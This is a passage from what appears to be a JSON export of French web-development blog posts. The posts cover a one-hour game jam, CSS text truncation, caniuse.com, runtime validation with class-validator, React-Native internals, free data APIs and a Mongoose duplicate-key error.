Makers](https://code-garage.fr/devenir-un-meilleur-developpeur-en-participant-a-des-game-jams/).**\n\n> Le concept : **Contre la déprime de fin de week-end, et tous les Dimanche soirs de 19h à 21h pendant le confinement**, une Game Jam en ligne, sur Discord pendant laquelle les participants créés un jeu en 60 minutes top chrono sur un thème au hasard !\n\nL'ambiance est très cool, la communauté est très bienveillante et la créativité est débordante, alors si vous voulez en faire partie, **c'est gratuit, et c'est juste ici : [https://discord.gg/JNkNRh7UHN](https://discord.gg/JNkNRh7UHN)**\n\n## Mon expérience\n\n**J'avoue, je ne savais vraiment à quoi m'attendre en terme de résultat**, je connais à peu près ma vitesse pour écrire du code, mais une Game Jam c'est aussi :\n\n* Trouver un **concept** autour du thème\n* Trouver des **assets**\n* **Designer** le jeu\n* Gérer les **intéractions** (gameplay)\n* Inventer un mini **scénario**\n* Créer des **animations**\n\n**Et tout ça en 60 minutes**, ce qui est trèèèès court, mais personnellement, j'ai adoré !\n\n**Tous les créateurs ont des stratégies différentes**, certains misent tout sur l'histoire et ne développent que très peu d'intéractions, et à l'inverse certains créent un gameplay \"abouti\" mais sans histoire.\n\n**Personnellement, j'aime bien me situer à la frontière entre les deux**, je ne cherche pas à faire jouer la personne très longtemps, mais j'aime bien le surprendre ou lui faire ressentir une émotion (même très basique).\n\nCe que je conseille pour gagner du temps (et ce n'est pas un luxe), c'est **d'avoir déjà ses outils de travail prêts, un projet vierge lancé et quelques idées de gameplay** qui pourraient s'appliquer à différents thèmes !\n\n## Horny-car : le jeu\n\nPour ma part, je savais que je voulais **développer un jeu web avec VueJS**, car c'est la technologie avec laquelle je suis le plus efficace, même si cela reste limité pour du jeu vidéo.\n\nJ'avais aussi plusieurs concept en tête, dont l'un était de **faire parler un objet tout en poussant l'utilisateur à intéragir avec ce dernier**, seulement en utilisant sa souris.\n\nAu final, le thème \"**used cars ou _voiture d'occasion_**\" ma orienté vers ce choix, et ce n'est qu'après avoir développé la première intéraction que j'ai eu l'idée de **lui donner la forme d'un menu de sélection de jeu de voiture**, mais chut, je ne vous en dis pas plus, voici la démo : [https://nicolasbrondin.github.io/horny-car/index.html](https://nicolasbrondin.github.io/horny-car/index.html)\n\nL'expérience est très courte, mais ce que j'aime dans le jeu c'est qu'il provoque une petite émotion chez le joueur : **de la surprise pour certains, le rire chez d'autres, et peut-être un peu de dégout aussi...**\n\nSi vous voulez retrouver le code du jeu, **il est open-source et disponible sur mon Github** juste en dessous :\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/horny-car](https://github.com/NicolasBrondin/horny-car)\n:::\n\n","Les \"Game jam de la loose\", c'est tous les Dimanche soirs, de 19 à 21h (lien du discord dans l'article).","jai-cree-un-jeu-en-1-heure-game-jam","2020-11-09T06:56:29.000Z","2023-09-19T15:05:37.819Z","2020-11-09T08:22:53.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/cover.png",{"id":998,"title":999,"content":1000,"socialTitle":8,"description":1001,"socialDescription":8,"slug":1002,"createdAt":1003,"updatedAt":1004,"publishedAt":1005,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1006,"coverCopyright":1007,"coverCopyrightLink":1008},126,"CSS : Tronquer un texte trop long avec text-overflow","Une image vaut mieux que mille mots, certes, mais parfois nous avons quand même besoin d'utiliser des mots ! Et **quand nos titres sont trop longs, qu'ils dépassent, se mettent à la ligne et cassent tout le design** de l'application, c'est embêtant !\n\nÉvidemment il y a toujours la possibilité de les restreindre à un certains nombre de caractères en javascript, mais **le problème est que deux textes ayant le même nombre de caractères ne feront pas forcément la même taille à l'affichage !**\n\nLes deux lignes ci-dessous sont par exemple composées de **10 caractères chacune** : \n1111111111 \n0000000000\n\nL'idéal est donc de pouvoir gérer ce problème du point de vue graphique, et heureusement, **en CSS3 est apparu l'attribut text-overflow** qui va nous permettre de corriger ça.\n\n## Text-overflow: ellipsis\n\nTout d'abord je tiens à préciser que la propriété text-overflow est **très bien gérée par tous les navigateurs, même internet explorer**, donc libre à vous d'en abuser !\n\n![Capture d'écran du site caniuse.com](https://cellar-c2.services.clever-cloud.com/content/2020/11/text-overflow.PNG)\n\nText-overflow va donc nous permettre de spécifier au moteur de rendu du navigateur **de quelle façon il doit gérer les textes qui dépasseraient de leur conteneur.**\n\nIl existe plusieurs valeurs pour cet attribut, mais celle qui va nous être le plus utile sera \"ellipsis\" qui **force le navigateur à ajouter des points de suspensions \"...\" à la fin de la chaîne tronquée.**\n\nA noter que pour que la propriété fonctionne, il faut aussi ajouter **deux autres propriétés** à notre éléments :\n\n* **\"white-space: nowrap\"** pour éviter à notre texte de se mettre sur plusieurs lignes\n* **\"overflow: hidden\"** pour empêcher notre texte de sortir du conteneur\n\nVoilà un exemple minimaliste fonctionnel (la taille du conteneur à été choisie arbitrairement, il n'y a pas besoin que ce soit une taille fixe) :\n\n```\n/* style.css*/\n.short-text-container {\n width: 200px;\n}\n.short-text {\n overflow: hidden;\n white-space: nowrap;\n text-overflow: ellipsis;\n}\n```\n\nJe suis un texte trop long à écrire\n\nEt voilà, vous allez maintenant pouvoir gérer vos titres et vos textes courts de manière simple et avec **un rendu parfaitement lisible** !\n\n","Dans la vie, parfois, il faut savoir faire court...","css-tronquer-un-texte-trop-long-avec-text-overflow","2020-11-12T07:36:47.000Z","2023-09-19T15:05:37.884Z","2020-11-12T08:37:04.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/spencer-davis-G3sNzZQHL78-unsplash.jpg","Spencer Davis sur Unsplash","https://unsplash.com/@spencerdavis?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1010,"title":1011,"content":1012,"socialTitle":8,"description":1013,"socialDescription":8,"slug":1014,"createdAt":1015,"updatedAt":1016,"publishedAt":1017,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1018,"coverCopyright":1019,"coverCopyrightLink":1020},127,"Vérifier la compatibilité navigateurs d'une propriété CSS ou d'un élément HTML","Dans mon article précédent \"CSS : Tronquer un texte trop long avec text-overflow\", **je me suis retrouvé à poster un screenshot d'un site de référence pour vérifier la compatibilité de la propriété text-overflow**, sans réellement aborder le site en question.\n\nJe rétablis donc l'ordre aujourd'hui en vous parlant de [**https://caniuse.com**](https://caniuse.com)\n\n## Qu'est-ce que c'est ?\n\n**\"Can I use\" est tout simplement un site qui renseigne pour chaque propriété CSS et chaque élément HTML la liste de toutes les versions de navigateurs compatibles**, avec plusieurs niveaux de compatibilité possibles : complète, partielle ou non-supportée.\n\n**Certaines fonctionnalités de Javascript sont même présentes**, mais moins utile car en Javascript il est possible de transpiler son code pour le rendre compatible avec d'anciens navigateurs, ce qui n'est pas possible en CSS (en tout cas pas pour le même rendu).\n\n### Comment ça marche ?\n\n**Il suffit de vous rendre sur le site [https://caniuse.com](https://caniuse.com) et d'utiliser la barre de recherche** pour trouver l'élément qui vous intéresse comme dans l'exemple ci-dessous :\n\n![Barre de recherche de caniuse.com](https://cellar-c2.services.clever-cloud.com/content/2020/11/image-4.png)\n\n**Le site vous proposera une liste de cartes comme celle-ci dessous avec toutes les infos nécessaires** pour que vous puissiez prendre la décision, si oui ou non, vous souhaitez quand même utiliser l'élément ou la propriété en question.\n\n![Exemple de représentation de la compatibilité d'une fonctionnalité sur caniuse.com](https://cellar-c2.services.clever-cloud.com/content/2020/11/image-2.png)\n\nEn haut à droite vous pouvez voir la compatibilité globale de la propriété CSS qui est de 88.63%, ce qui est bien, mais **pas suffisant si cette propriété a un enjeu critique dans la compréhension ou dans le design du site.**\n\n**Pour une propriété critique je conseillerai d'opter uniquement pour des propriétés ayant 98% minimum de compatibilité**, mais il peut y avoir des exceptions.\n\n**Si vous créez une application spéciale desktop, par exemple grâce à électron, alors vous tournerez sous le même moteur que Chrome**, vous serez donc en mesure d'activer des fonctions qui ne sont présentes que dans ce dernier, sans avoir de problèmes de compatibilités.\n\n> Si vous ne connaissez pas Electron, je vous laisse consulter mon article \"[**Electron, ou comment développer des applications desktop en Javascript**](https://code-garage.fr/electron-ou-comment-developper-des-applications-desktop-en-javascript-web/)\"\n\nEn survolant l'une des version d'un navigateur, vous pourrez avoir plus d'informations, comme **le taux d'utilisation global de cette version spécifique ou encore des notes sur la fonctionnalité** (besoin de préfixe, problème de rendu, etc...)\n\n**Je vois souvent passer des merveilleuses propriétés CSS révolutionnaires sur les réseaux sociaux**, mais mon premier réflexe c'est de vérifier leur compatibilité sur \"Can I Use\" et la plupart du temps, c'est du Chrome-only.\n\n> Vous aussi, ayez le réflexe [caniuse.com](https://caniuse.com) !\n\n","Connaissez-vous le site \"Can I use\" ?","verifier-la-compatibilite-navigateurs-dune-propriete-css-ou-dun-element-html-caniuse","2020-11-13T07:48:51.000Z","2023-09-19T15:05:37.915Z","2020-11-13T08:50:31.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/intricate-explorer-myG_2wblJxw-unsplash.jpg","Intricate Explorer sur Unsplash","https://unsplash.com/@intricateexplorer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1022,"title":1023,"content":1024,"socialTitle":8,"description":1025,"socialDescription":8,"slug":1026,"createdAt":1027,"updatedAt":1028,"publishedAt":1029,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1030,"coverCopyright":8,"coverCopyrightLink":8},130,"Javascript : Comment valider une instance de classe ES6 au runtime","L'intégrité des données est très importante en Javascript, le langage étant dynamiquement typé, **une donnée n'ayant pas le bon type ou étant absente peut causer l'arrêt du programme**, ou pire, le programme s'exécutera mais pas de la manière prévue.\n\n> Et là, je sais ce que vous pensez : \"**Mais c'est pour ça qu'on utilise Typescript !**\"\n\nEt je vous répondrai :\n\n> Oui, mais **cela ne résout pas tous les problèmes**, loin de là.\n\nSi vous voulez comprendre en détails pourquoi, **je vous invite à lire [mon article d'introduction à TypeScript](https://code-garage.fr/blog/comprendre-ce-qu-est-typescript-et-comment-l-utiliser)**.\n\n**Mais en résumé, Typescript permet \"simplement\" d'éviter des erreurs de typage lors de la phase de développement** du programme, mais pour toutes les données qui n'existe dans le programme que lors de l'exécution, **comme par exemple les imports de fichiers (csv,...), le localStorage ou encore le contenu de requêtes http, alors TypeScript ne suffit plus !**\n\n> Pour plus d'informations, je vous invite à lire [cet article sur le blog d'Oreilly](https://www.oreilly.com/library/view/effective-typescript/9781492053736/ch01.html#idm46392931803176).\n\n## typestack/class-validator\n\nAprès quelques recherches et plusieurs tests, j'ai finalement trouvé la bibliothèque **\"class-validator\" qui permet tout simplement de valider le contenu d'un objet, instancié depuis une classe.**\n\n::: bookmark\n[![](https://avatars0.githubusercontent.com/u/24602613?s=400&v=4)typestack/class-validator](https://github.com/typestack/class-validator)\n:::\n\n> Pour ceux qui se poseraient la question sur la fiabilité de cette bibliothèque, \"class-validator\" est utilisé en interne **[par NestJS pour son mécanisme de DTO](https://docs.nestjs.com/techniques/validation).**\n\nPour l'utiliser il vous suffira de faire un \"_**npm install --save class-validator**_\"\n\n### Le fonctionnement\n\nPour préparer une classe à la validation, \"class-validator\" fournie **un ensemble de décorateurs à ajouter au-dessus de chaque attribut de la classe**, comme dans l'exemple suivant :\n\n> A noter que tous les exemples de cet article sont écrits en Typescript, bien évidemment la bibliothèque peut être importée en Javascript classique.\n\n```\n//index.ts\nimport { IsString, IsInt, IsOptional, validate } from 'class-validator';\n\nclass Person {\n \n @IsString()\n firstname: string\n\n @IsString()\n lastname:string\n\n @IsInt()\n @IsOptional()\n age: number\n\n constructor(csv_arr: string[]){\n this.firstname = csv_arr[0];\n this.lastname = csv_arr[1];\n this.age = csv_arr[2] ? parseInt(csv_arr[2]) : undefined;\n }\n}\n```\n\nIci j'ai pris l'exemple d'un fichier csv que l'on importerait, on initialise donc le constructeur avec un simple tableau de chaînes de caractères (une ligne du fichier .csv).\n\nEnsuite, il va nous suffire d**'instancier toutes nos personnes à partir des données issues du fichier et d'appeler la méthode de validation.**\n\n> A noter que pour simplifier l'exemple, le fichier a été remplacé par un tableau statique, **si vous voulez savoir comment importer un fichier csv, [j'ai écrit un article détaillé sur le sujet.](https://code-garage.fr/blog/importer-et-exporter-des-fichiers-csv-en-javascript-avec-papaparse/)**\n\n```\n//index.ts\nlet csv : any[][] = [\n [\"Marc\", \"Devier\", 40],\n [\"Alice\", \"Boran\",],\n [\"Jean\",,52]\n]\n\nlet persons: Person[] = []; // Contains only valid persons\n\nfor(let i:number = 0 ; i\u003Ccsv.length ; i++){\n\n let person: Person = new Person(csv[i]);\n \n validate(person).then(errors => {\n if(errors.length === 0){\n persons.push(person);\n console.log(person);\n } else {\n console.error(errors);\n }\n });\n\n}\n```\n\nLors de l'exécution de ce programme, **notre tableau \"persons\" ne contiendra donc que des instances de \"Person\" valides**, l'intégrité des données est donc respectée.\n\nVoici donc les informations loggées lors du déroulement du programme :\n\n```\nPerson { firstname: 'Marc', lastname: 'Devier', age: 40 }\nPerson { firstname: 'Alice', lastname: 'Boran', age: undefined }\n[\n ValidationError {\n target: Person { firstname: 'Jean', lastname: undefined, age: 52 },\n value: undefined,\n property: 'lastname',\n children: [],\n constraints: { isString: 'lastname must be a string' }\n }\n]\n```\n\nOn y voit bien que notre deuxième objet a été validé, même si son age n'est pas défini car il a été déclaré comme optionnel, mais qu'au contraire **notre troisième objet n'est pas valide car il manque son nom de famille.**\n\n**Il existe énormément de décorateurs différents, non pas simplement sur le type de donnée mais aussi le contenu de cette dernière** (on peut valider la taille d'une string, ou encore vérifier que c'est une adresse email par exemple).\n\nPour plus d'informations je vous invite à consulter **la documentation directement sur Github : [https://github.com/typestack/class-validator](https://github.com/typestack/class-validator)**\n\n## Alternative\n\nBien sûr il existe d'autres alternatives, **comme [JOI](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjW5f_h2YT6AhX4g84BHTBCDsUQFnoECA8QAQ&url=https%3A%2F%2Fjoi.dev%2F&usg=AOvVaw0Os1H5hs5eDoJNiAqFC3rV) par exemple**, qui vous permettra non plus de valider une instance de classe, mais n'importe quel objet JSON !\n\n> J'espère que cet article vous aura plus, et à bientôt sur le blog !\n\n","Quand le Typescript ne suffit plus !","javascript-comment-valider-une-instance-de-classe-es6-au-runtime","2020-11-18T08:27:20.000Z","2023-09-19T15:05:38.000Z","2020-11-18T09:42:30.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/09/pexels-pixabay-262488-1.jpg",{"id":1032,"title":1033,"content":1034,"socialTitle":8,"description":1035,"socialDescription":8,"slug":1036,"createdAt":1037,"updatedAt":1038,"publishedAt":1039,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1040,"coverCopyright":1041,"coverCopyrightLink":1042},131,"React-Native : Comprendre son fonctionnement en 5 minutes","Depuis la première release de React-Native en 2015 par Facebook, on voit fleurir des milliers d'articles nous expliquant **pourquoi nous devrions désormais passer par React-Native pour développer nos applications natives.**\n\nPourtant bien souvent, ces articles nous parlent des bénéfices de React-Native **sans vraiment nous expliquer comment fonctionne réellement le framework**, et ses différences avec d'autres outils comme Apache Cordova, Ionic ou encore NativeScript.\n\nN'ayant jamais travaillé avec React-Native auparavant, je regardais le phénomène de loin ; jusqu'à ce que récemment, **un client me commissionne pour une mission avec React-Native.**\n\nJ'ai alors commencé à découvrir le framework, et d'après ce que je lisais, **je pensais que React-Native permettait de compiler une application React, en pur code natif, sans aucun morceau de Javascript restant.**\n\n> Mais j'avais **tort** !\n\n## Sous le capot de React-Native\n\nSi React-Native ne compile pas le javascript en langages mobiles natifs, alors **que fait-il réellement ?**\n\n### Sans React-Native\n\nSi l'on prend l'exemple d'**un framework \"hybride\"** tel que Cordova (utilisé par Ionic), ce dernier génère une application native contenant simplement **une WebView** (composant natif pour afficher une page web dans une application), et **le code de votre application web** qui tournera dans cette Webview.\n\n> C'est ce qu'on appelle plus ou moins **une \"coquille vide\"**.\n\nMais alors comment ce dernier fait-il pour utiliser les APIs natives de l'appareil ? **Cordova fourni tout simplement un bridge (un pont) qui permet d'écrire des plugins en langage natif**, interfacé avec javascript pour accéder à ces APIs de manière simple.\n\nSi l'on résume : lorsqu'une application est lancée, **la Webview est chargée**, **le bridge est rattaché à cette dernière** pour pouvoir être appelé par le Javascript puis **le bundle web est injecté** dans la webview.\n\n> Nous avons donc une application non pas native, **mais hybride (majoritairement web)**.\n\n### Avec React-Native\n\nAvec le framework développé par Facebook, **la logique métier de l'application tourne toujours dans une machine virtuelle javascript, mais les composants graphiques, eux, ne sont plus gérés par une webview, mais par du code natif.**\n\nConcrètement, lorsque vous créez un élément **\u003CText>** en React-Native, il sera transformé en un élément **UILabel** sous iOS et **TextView** sous Android. Puis **le style du composant** (ressemblant au css) sera transformé pour correspondre aux **différents systèmes de layouts des différents OS**.\n\n**React-Native fourni donc une API uniformisée pour créer et gérer l'UI** de vos applications à partir de code JSX.\n\nSi l'on compare à Cordova, qui fournissait une webview et un bridge pour le code natif, **React-Native fourni en fait un bridge qui va permettre de gérer les appels aux APIs natives ET les éléments graphiques natifs.**\n\nUne application React-Native est donc séparée en 3 différents threads : **l'UI, le Javascript, et le bridge**. De cette manière, l'exécution du Javascript (asynchrone) n'est jamais bloquée par l'exécution des appels au code natif (synchrones pour la plupart).\n\n> React-Native porte-t'il bien son nom ? En réalité pas vraiment, car **ce n'est pas une application native** qui est déployée au bout de la chaîne, **mais une application hybride (majoritairement native).**\n\n## En conclusion\n\n**Je rentrerais en détails dans l'utilisation du framework dans un prochain article**, mais je voulais faire cet article pour expliquer le fonctionnement réel (mais simplifié) de React-Native, afin d'éviter tout confusion, comme celle dont j'ai moi-même été victime.\n\n> Et éliminer la légende comme quoi React-Native permet de plus réutiliser son code web que d'autres frameworks alors que la manière même donc fonctionne le framework est contradictoire avec cette affirmation.\n\nSi vous voulez plus de détails sur les avantages et les inconvénients techniques de React-Native dans le monde réel, **je vous laisse un article publier sur le blog de Uber**, expliquant pourquoi après deux ans d'utilisation **la société se sépare de React-Native.**\n\n::: bookmark\n[![](https://miro.medium.com/max/1200/1*P9Kc_EWojKpqfc1-_AhnSg.jpeg)React Native at Airbnb](https://medium.com/airbnb-engineering/react-native-at-airbnb-f95aa460be1c)\n:::\n\n**Si vous cherchez une alternative à React-Native, vous pouvez aussi essayer [NativeScript](https://nativescript.org/)**, poursuivant la même philosophie que RN mais avec une implémentation technique différente !\n\n","Vous pensez que React-Native compile des applications natives ? Vous pourriez avoir des surprises !","react-native-comprendre-son-fonctionnement-en-5-minutes","2020-11-19T09:10:21.000Z","2023-09-19T15:05:38.030Z","2020-11-19T10:42:53.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/murilo-silva-3wXxfKUiegU-unsplash.jpg","Murilo Silva sur Unsplash","https://unsplash.com/@msilvaphoto?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1044,"title":1045,"content":1046,"socialTitle":8,"description":1047,"socialDescription":8,"slug":1048,"createdAt":1049,"updatedAt":1050,"publishedAt":1051,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1052,"coverCopyright":394,"coverCopyrightLink":395},132,"13 APIs de données gratuites et puissantes pour vos applications","Vous aviez adoré mon article dans lequel je vous donnais **[une liste d'idées créatives à réaliser en tant que développeur junior](https://code-garage.fr/blog/idees-de-projets-creatifs-pour-les-developpeurs-web-juniors/)**, mais quoi de mieux que d'intégrer des données du monde qui nous entoure pour créer des projets encore plus impressionnants ?\n\nC'est ce que je vous propose aujourd'hui avec **une liste d'API mettant à disposition gratuitement** (même si certaines ont des limitations) des données sur des sujets diverses et variés.\n\n**De la nature en passant par la technologie et même l'espace**, découvrez toutes ces APIs que vous pourrez intégrer facilement dans vos sites web et applications !\n\n## #1 - Open Food Fact\n\nGrâce à cette API, retrouvez toutes les informations sur les aliments que vous achetez comme les ingrédients, le conditionnement, les additifs, les revendeurs, etc...\n\nCette API est très puissante car les données récoltées sont des données fournies légalement par les industriels selon les lois française, elle est notamment utilisée par des applications très populaires comme Yuka.\n\n**Lien vers l'API : [https://fr.openfoodfacts.org/data](https://fr.openfoodfacts.org/data)**\n\n## #2 - Open Sky\n\nAvec l'API d'OpenSky-Network, retrouvez toutes les informations en temps-réel des avions actuellement dans le ciel partout sur la planète. L'aéroport de départ et d'arrivée, la position exacte, toutes les informations importantes sont disponibles.\n\n**Lien vers l'API : [https://openskynetwork.github.io/opensky-api/rest.html](https://openskynetwork.github.io/opensky-api/rest.html)**\n\n> Bonus: Découvrez aussi l'API de [Skyscanner](https://www.partners.skyscanner.net/affiliates/travel-apis) qui vous permet de chercher (et même réserver) les vols à venir.\n\n## #3 - NASA\n\nRetrouvez des photos de la terre prisent par les satellites de la NASA, les photos prises par les rovers mais aussi des centaines d'autres données plus complexes liées à la recherche astronomique et à l'aérospatial sur cette API.\n\n**Lien vers l'API : [https://api.nasa.gov/](https://api.nasa.gov/)**\n\n> Bonus : Si vous cherchez des données sur notre système solaire, vous pouvez aussi essayer l'API [https://api.le-systeme-solaire.net/en/](https://api.le-systeme-solaire.net/en/)\n\n## #4 - Trefle.io\n\nTrefle est tout simple une API globale et gratuite sur les connaissances botaniques. Nom commun, nom scientifique, famille, année de découverte, photos d'un million de plantes, arbres et fleurs indexées dans la base de données !\n\n**Lien vers l'API : [https://trefle.io/](https://trefle.io/)**\n\n## #5 - OpenWeather Map\n\nEst-ce qu'il y a besoin d'en dire plus ? Une API grâce à laquelle vous pourrez retrouver toutes les infos météorologiques d'une zone géographique en particulier !\n\n_Attention néanmoins, l'API est soumise à un quota en mode gratuit._\n\n**Lien vers l'API : [https://openweathermap.org/api](https://openweathermap.org/api)**\n\n## #6 - Serp API\n\nSans doute l'une des APIs les plus puissantes car c'est en réalité un agrégateur d'API qui vous donnera accès à plus de 30 APIs différentes, spécialisé sur les moteurs de recherches.\n\nVous voulez récupérer la liste des liens retournés par Google pour la recherche \"JavaScript\" ? C'est possible ! Et sur Bing ? Baïdu ? Tout ça est possible, avec une seule API !\n\n> Vous aurez le droit à 100 appels API par mois avec le plan gratuit\n\n**Lien vers l'API :** [**https://serpapi.com/search-api**](https://serpapi.com/search-api)\n\n## #7 - OpenData France\n\nPas vraiment une API, ce site est le rassemblement de toutes les données ouvertes nationales agrégées par les différents organismes publics.\n\nVous pourrez y trouver des données très spécifiques pour certaines villes comme la position exacte de chaque arbre de la ville, des informations, sur chaque quartiers, etc...\n\n**Lien vers l'API : [data.gouv.fr](http://data.gouv.fr)**\n\n## #8 - TheMovieDB\n\nL'équivalent du site IMDB (Internet Movie DataBase) mais en version API gratuite et encore plus complète. Retrouvez absolument toutes les informations sur n'importe quel film référencé.\n\n**Lien vers l'API : [https://www.themoviedb.org/documentation/api](https://www.themoviedb.org/documentation/api)**\n\n## #9 - RandomUser\n\nContrairement aux autres API, celle-ci ne référence pas des données de la vraie vie, mais vous permet d'afficher des données générées aléatoirement. En l'occurence, vous pourrez avoir, à chaque appel, un nouveau profil fictif d'utilisateur, avec toutes les informations personnelles ainsi qu'une photo de profil.\n\n_C'est notamment cette API que j'ai utilisé pour la présentation de mon projet \"John Doe\", [un template minimaliste de site web personnel pour développeur.](https://github.com/NicolasBrondin/john-doe)_\n\n**Lien vers l'API : [https://randomuser.me/](https://randomuser.me/)**\n\n## #10 - RestCountries\n\nRetrouvez un grand nombre de données à propos d'un ou plusieurs pays comme la monnaie, la liste des langues, des frontières, etc...\n\n**Lien vers l'API : [https://restcountries.eu/](https://restcountries.eu/)**\n\n## #11 - CountryFlags\n\nAccéder directement à la liste de tous les drapeaux des pays du monde, sous deux thèmes différents (flat et shiny) pour intégrer à vos applications en un simple lien !\n\n**Lien vers l'API : [https://www.countryflags.io/](https://www.countryflags.io/)**\n\n## #12 - Giphy\n\nGiphy est l'une des plateformes les plus populaire rassemblant des GIFs et des stickers (les stickers sont des GIFs sur fond transparent) avec lesquels inonder le web.\n\nGrâce à l'API (et même aux différents SDK), vous pouvez proposer à vos utilisateurs une sélection de GIFs en lien avec un sujet, faire un choix aléatoire, etc...\n\n**Lien vers l'API : [https://api.giphy.com](https://api.giphy.com)**\n\n## #13 - Pappers\n\nPappers est un site qui regroupe un  maximum de données publiques sur les entreprises françaises. Elle rassemble les informations de l'INSEE, l'INPI et le BODACC, pour les compiler et les mettre à disposition sur une API synchronisée au jour le jour.\n\nÀ noter que l'API est payante, mais avec un forfait gratuit de 100 fiches entreprise/mois ou 1000 résultats de recherche/mois ce qui permet de faire beaucoup de choses intéressantes !\n\n**Lien vers l'API : [https://www.pappers.fr/api](https://www.pappers.fr/api)**\n\n> J'espère que cet article vous aura plu, et si vous connaissez d'autres API intéressantes, partagez-les en commentaires ! ","Les données, l'or du 21ème siècle ? En tout cas celles-ci sont gratuites ! ","apis-gratuites-puissantes-pour-projets-applications-site-web","2020-11-20T08:07:40.000Z","2023-09-19T15:05:38.057Z","2021-11-24T09:17:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2023/08/annie-spratt-wgivdx9dBdQ-unsplash-1.jpg",{"id":1054,"title":1055,"content":1056,"socialTitle":8,"description":1057,"socialDescription":8,"slug":1058,"createdAt":1059,"updatedAt":1060,"publishedAt":1061,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1062,"coverCopyright":1063,"coverCopyrightLink":1064},135,"MongoDB - L'erreur E11000 fantôme qui rend fou les débutants avec Mongoose","Le week-end dernier, je passais au détour d'un groupe d'entraide entre développeurs débutants sur lequel j'échange régulièrement afin de donner quelques conseils, lorsque **je suis tombé sur un utilisateur de Mongoose ayant le problème suivant :**\n\n> Mon schéma ne contient pas d'index d'unicité, et pourtant lorsque j'essaye d'insérer une donnée, MongoDB me renvoie cette erreur: **\"E11000 duplicate key error collection: db.products index: name\\_1 dup key: {name: \"XXX\"}\"**\n\nAvec en copie le schéma utilisé par Mongoose :\n\n```\nconst productSchema = new mongoose.Schema({\n name: {type: String, required: true},\n image: {type: String, required: true}\n});\n```\n\nEt surprise, **il n'y a effectivement pas de d'index d'unicité sur le schéma**, et ce dernier a même par la suite essayé de forcer la chose en spécifiant \"unique: false\" dans son attribut \"name\", ce qui ne changea rien.\n\n## Le problème\n\nD'où vient ce problème ? Est-ce un bug de MongoDB ou de Mongoose ? **La réponse est : aucun des deux.**\n\n> C'est en fait ce qu'on pourrait appeler **un effet de bord.**\n\nLorsque l'on utilise Mongoose en lisant la doc en diagonale, on peut vite être amené à **penser que ce dernier permet de gérer les index (notamment d'unicité) de manière automatisée grâce aux schémas.**\n\nMais la vérité est que **Mongoose ne gère que la création automatique des index, mais ne gère ni la modification, ni la suppression.**\n\nCe qui signifie que si vous avez ajouté \"required: true\" à l'un des attributs de votre modèle et relancé votre programme, **un index d'unicité aura été ajouté à votre collection dans votre base MongoDB.**\n\nEt **même si vous avez supprimé cet index sur votre schéma et relancé votre programme, l'index sera toujours présent en base de donnée**, impliquant donc une erreur de \"clé dupliquée\" sur votre attribut s'il existe déjà un document avec un attribut de même valeur.\n\n> C'est d'ailleurs souvent ce qui se passe lorsque l'on utilise un schéma que l'on trouvé sur internet et que l'on modifie ensuite.\n\n## La solution\n\nPour résoudre ce problème, il suffit d'utiliser votre client graphique (ou CLI) préféré pour vous connecter à votre base de données, **choisissez la collection qui pose problème et listez les index de cette dernière.**\n\nVous devriez tomber sur un index ayant le même nom que celui renvoyé dans l'erreur (ici l'index s'appelait name\\_1) et **vous n'avez plus qu'à le supprimer.**\n\nIl ne vous restera plus qu'à réessayer de créer votre document et **vous n'aurez plus d'erreur lié à la duplication de clé unique !**\n\n","\"E11000 duplicate key error collection: db.products index: name_1 dup key: {name: \"XXX\"}\" ","mongodb-erreur-mongoose-e11000-duplicate-key-error","2020-11-24T08:05:39.000Z","2023-09-19T15:05:38.142Z","2020-11-24T08:47:27.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/christopher-ott-cf0p2IDquTE-unsplash.jpg","Christopher Ott sur Unsplash","https://unsplash.com/@notso?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1066,"title":1067,"content":1068,"socialTitle":8,"description":1069,"socialDescription":8,"slug":1070,"createdAt":1071,"updatedAt":1072,"publishedAt":1073,"styleHead":1074,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1075,"coverCopyright":1076,"coverCopyrightLink":1077},136,"Les 7 meilleurs sites pour s'entrainer à programmer","## CodinGame\n\n### Type : Algorithmie (tous langages)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/codingame.jpg)\n\nPour moi, CodinGame est LA plateforme d'entrainement par excellence notamment grâce à ces deux forces : la gamification et la variété des types de challenges.\n\nLa majorité des exercices sont disponibles sous la forme de jeux, avec à chaque fois une mise en situation et une problématique que vous devez résoudre avec du code. D'un atterissage sur Mars, au pilotage d'un vaisseau en passant par du jeu de combat en versus, tous les jeux sont incroyables.\n\nParmi les différents types de challenges, vous trouverez les compétitions (plusieurs heures avec un classement à la fin et des possibilités de stages ou d'embauches dans les entreprises partenaires), des exercices classiques sous formes de jeux  mais aussi des \"Clash of Code\" qui sont des challenges ultra-rapides avec des règles spécifiques (code le plus court, le plus rapide,...).\n\n> En bref, foncez !\n\n_Lien : [**https://www.codingame.com/**](https://www.codingame.com/)_\n\n## Codewars\n\n### Type : Algorithmie (tous langages)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/codewars.jpg)\n\nLe fonctionnement de Codewars est relativement similaire à celui de Codingame, à la différence près que la plateforme n'apporte pas de gamification et met plutôt l'accent sur le suivi de l'apprentissage, c'est d'ailleurs pour cela que c'est la plateforme privilégiée par certains centres de formation.\n\nSur Codewars vous 